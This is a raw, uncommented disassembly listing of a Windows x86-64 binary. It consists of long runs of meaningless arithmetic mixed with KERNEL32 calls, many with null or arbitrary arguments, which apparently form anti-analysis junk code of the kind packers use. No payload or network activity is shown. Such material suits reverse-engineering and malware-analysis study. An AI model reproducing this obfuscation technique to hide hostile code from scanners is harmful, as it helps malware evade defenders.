movsx eax, byte [rsp + 0x6f8]
add eax, 0x2f
mov byte [0x140363edd], al
movsx eax, byte [0x140363edd]
or eax, 0x40
mov byte [rsp + 0x6f8], al
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x728]
sar eax, cl
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
jmp 0x14031c732
mov eax, dword [rsp + 0x99e8]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x12e78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12e78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x12df0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x14031c732
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0x12e80], rax
mov eax, dword [rsp + 0x9998]
mov dword [rsp + 0x9a00], eax
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9808]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x12e88], rax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
shl eax, cl
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12e88]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x12e90], rax
movzx eax, word [rsp + 0x13d8]
movzx ecx, word [rsp + 0x2324]
and eax, ecx
mov word [0x140352bcc], ax
mov eax, dword [rsp + 0x9974]
mov dword [rsp + 0x99d8], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8880], eax
mov rax, qword [rsp + 0x12e88]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
mov word [rsp + 0x2b7c], ax
mov dword [rsp + 0x20], 0x3a93
mov r9d, 0x76e
mov r8d, 0x12dc
mov edx, 0x793
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a04], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12e90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x728], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x12e98], rax
lea rax, [0x140363edd]
mov qword [rsp + 0x12ea0], rax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9980], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov eax, dword [rsp + 0x99e4]
mov dword [0x140369b78], eax
mov dword [rsp + 0x20], 0x1af7
mov r9d, 0xfc2
mov r8d, 0x442
mov edx, 0x18d9
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a0c], eax
mov eax, dword [rsp + 0x99b4]
mov dword [rsp + 0x9a10], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72a], al
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x12ea8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12eb0], rax
mov eax, dword [0x140369b78]
mov ecx, dword [rsp + 0x9970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x12eb8], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
movzx eax, byte [rsp + 0x72a]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b0], al
lea rax, [rsp + 0x13d8]
mov qword [0x140369b80], rax
mov rax, qword [rsp + 0x12cf8]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x993c], eax
mov eax, dword [rsp + 0x9a10]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov dword [rsp + 0x8880], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov dword [rsp + 0x9a14], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
lea rax, [rsp + 0x59fc]
mov qword [rsp + 0x12ec0], rax
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x12ec8], rax
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x12ed0], rax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
shl eax, cl
mov word [rsp + 0x2b7c], ax
mov eax, dword [rsp + 0x9a00]
mov ecx, dword [0x140369b78]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
lea rax, [rsp + 0x9970]
mov qword [rsp + 0x12ed8], rax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x2b0]
and eax, ecx
mov byte [rsp + 0x1c8], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12ee0], rax
mov rax, qword [rsp + 0x12ec0]
mov ecx, dword [rsp + 0x9a14]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9808], eax
lea rax, [rsp + 0x8924]
mov qword [rsp + 0x12ee8], rax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x997c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a10], eax
lea rax, [0x140369b74]
mov qword [0x140369b88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x72b], al
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9a00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99d8], eax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x12ef0], rax
movsx eax, word [rsp + 0x2b74]
mov rcx, qword [rsp + 0x12ec8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ed0], ax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9938], eax
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x12ef8], rax
movzx eax, word [rsp + 0x2b7c]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0x12f00], rax
mov rax, qword [rsp + 0x12ec0]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036244c], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x12f08], rax
mov eax, dword [rsp + 0x9950]
mov rcx, qword [rsp + 0x12ee8]
mov qword [rsp + 0x12f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
cdq
idiv ecx
mov rcx, qword [rsp + 0x12e90]
mov byte [rcx], al
lea rax, [rsp + 0x2324]
mov qword [rsp + 0x12f18], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12eb8]
mov qword [rsp + 0x12f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12f00]
mov eax, dword [rax]
mov dword [rsp + 0x9a18], eax
mov rax, qword [rsp + 0x12ef0]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9950], eax
lea rax, [0x14036244c]
mov qword [0x140369b90], rax
movzx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2324], ax
lea rax, [rsp + 0x72b]
mov qword [rsp + 0x12f28], rax
movzx eax, byte [rsp + 0x6f8]
mov byte [rsp + 0x72c], al
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x12f30], rax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b8], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [0x14036244c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81e0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12f38], rax
mov dword [rsp + 0x20], 0x1af7
mov r9d, 0xfc2
mov r8d, 0x442
mov edx, 0x18d9
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a1c], eax
movzx eax, word [rsp + 0x2b7c]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2b0]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
mov edx, 0xa7a
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a08], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a0c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov dword [0x140369b98], eax
lea rax, [rsp + 0x9a10]
mov qword [rsp + 0x12f40], rax
mov eax, dword [rsp + 0x8880]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x12f48], rax
mov rax, qword [0x140369b80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2324], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12f50], rax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
mov byte [rsp + 0x72d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x99b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ec0]
mov eax, dword [rax]
mov ecx, dword [0x14036244c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x12f58], rax
mov eax, dword [rsp + 0x8880]
mov dword [0x140369b9c], eax
mov rax, qword [rsp + 0x12ea8]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
and eax, ecx
mov word [rsp + 0x2008], ax
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x12f60], rax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
add eax, ecx
mov word [rsp + 0x2324], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72b]
sar eax, cl
mov byte [rsp + 0x729], al
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x12f68], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
shl eax, cl
mov dword [rsp + 0x8880], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x12f70], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4ab90]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a20], eax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9980], eax
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x993c], eax
lea rax, [rsp + 0x2b7c]
mov qword [0x140369ba0], rax
mov rax, qword [rsp + 0x12f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov dword [rsp + 0x9a24], eax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x99b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x729]
mov byte [rsp + 0x72e], al
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8880]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a14], eax
lea rax, [rsp + 0x8880]
mov qword [rsp + 0x12f78], rax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14035259e], al
mov rax, qword [rsp + 0x12f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
and eax, ecx
mov rcx, qword [rsp + 0x12e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72d]
sub eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [0x140369ba0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12e80]
mov word [rcx], ax
mov eax, dword [rsp + 0x99b8]
mov dword [rsp + 0x9a28], eax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12eb8]
mov rcx, qword [rsp + 0x12f78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x84ac], eax
mov eax, dword [rsp + 0x9a14]
mov ecx, dword [rsp + 0x8880]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
mov word [rsp + 0x2b80], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12f80], rax
lea rdx, [rsp + 0x42958]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9940], eax
mov eax, dword [rsp + 0x9970]
movzx ecx, al
mov eax, dword [rsp + 0x9998]
shr eax, cl
mov dword [rsp + 0x99d8], eax
mov eax, dword [0x14036244c]
mov rcx, qword [rsp + 0x12ef0]
mov qword [rsp + 0x12f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f88]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12eb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99e8]
mov dword [rsp + 0x9a2c], eax
mov eax, dword [rsp + 0x99e4]
mov ecx, dword [rsp + 0x9808]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a18], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x12f90], rax
movzx eax, word [rsp + 0x2b7c]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x2b74]
movsx ecx, word [rsp + 0x1ed0]
and eax, ecx
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x491], al
lea rax, [rsp + 0x9a28]
mov qword [0x140369ba8], rax
mov eax, dword [rsp + 0x99b4]
mov dword [rsp + 0x9a30], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b0]
add eax, ecx
mov byte [rsp + 0x72d], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0x12ee8]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12f98], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x140369b98]
mov dword [rsp + 0x9a34], eax
mov rax, qword [rsp + 0x12ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
movzx eax, word [0x140369b74]
mov word [rsp + 0x2b84], ax
movzx eax, byte [rsp + 0x72e]
mov byte [0x140363ede], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ef0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8924]
shl eax, cl
mov dword [rsp + 0x6b08], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8880]
sar eax, cl
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e88]
mov rcx, qword [rsp + 0x12ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
lea rax, [rsp + 0x8880]
mov qword [rsp + 0x12fa0], rax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f8]
and eax, ecx
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
lea rax, [rsp + 0x2008]
mov qword [rsp + 0x12fa8], rax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov byte [rsp + 0x72d], al
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140362450], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2e48
mov r9d, 0x73f
mov r8d, 0xb21012f1
mov edx, 2
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a38], eax
mov eax, dword [0x140369b78]
mov ecx, dword [rsp + 0x99b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
lea rax, [rsp + 0x9974]
mov qword [rsp + 0x12fb0], rax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.lz2xNx4Kj7hddZS1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12fb8], rax
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x12fc0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9a10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99d8], eax
lea rax, [rsp + 0x9a24]
mov qword [rsp + 0x12fc8], rax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8924]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a14], eax
lea rax, [rsp + 0x2b84]
mov qword [0x140369bb0], rax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a04], eax
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x72f], al
mov rax, qword [rsp + 0x12f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12fd0], rax
lea rax, [rsp + 0x6b08]
mov qword [rsp + 0x12fd8], rax
movsx eax, word [rsp + 0x1ed0]
movsx ecx, word [rsp + 0x2b74]
add eax, ecx
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0x12ef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
or eax, ecx
mov byte [rsp + 0x72c], al
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x12fe0], rax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b7c]
shl eax, cl
mov word [rsp + 0x2b84], ax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov rcx, qword [0x140369ba8]
mov qword [rsp + 0x12fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12fe8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x97b4], eax
lea rax, [rsp + 0x6b08]
mov qword [0x140369bb8], rax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x12fb0]
mov ecx, dword [rsp + 0x9a28]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x12ff0], rax
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9a20], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x12ff8], rax
mov rax, qword [rsp + 0x12fd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8880], eax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x12f08]
mov ecx, dword [rsp + 0x9a00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12eb8]
mov eax, dword [rax]
mov dword [rsp + 0x9a40], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a20], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov dword [0x140369bc0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov dword [rsp + 0x20], 0x3a93
mov r9d, 0x76e
mov r8d, 0x12dc
mov edx, 0x793
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a3c], eax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x280c], ax
